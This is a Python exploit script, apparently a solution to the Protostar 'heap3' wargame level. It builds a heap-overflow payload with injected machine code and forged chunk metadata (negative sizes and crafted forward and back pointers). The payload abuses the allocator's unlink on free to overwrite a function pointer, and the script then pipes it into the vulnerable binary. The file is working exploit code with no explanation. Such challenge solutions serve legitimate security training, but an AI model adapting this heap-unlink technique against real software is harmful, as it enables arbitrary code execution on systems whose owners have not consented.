heap3.py

import os
import struct

space = " "
chunk_a = "AAAAAAAA" + "\xB8\x64\x88\x04\x08\xFF\xD0"
chunk_b = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
chunk_c_overwritten_heap_metadata = "BBBB" + "\x59"
chunk_c = "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
fake_chunk_prev_size = "\xfc\xff\xff\xff"
fake_chunk_my_size =  "\xfc\xff\xff\xff"
fake_chunk_prev_ptr = "\x1c\xb1\x04\x08"
fake_chunk_next_ptr = "\x10\xc0\x04\x08"

exploit = chunk_a + space + chunk_b + chunk_c_overwritten_heap_metadata + space + chunk_c + fake_chunk_prev_size + fake_chunk_my_size + fake_chunk_prev_ptr + fake_chunk_next_ptr

with open("/tmp/heap3", "wb") as f:
        f.write(exploit)

os.system("/opt/protostar/bin/heap3 < /tmp/heap3")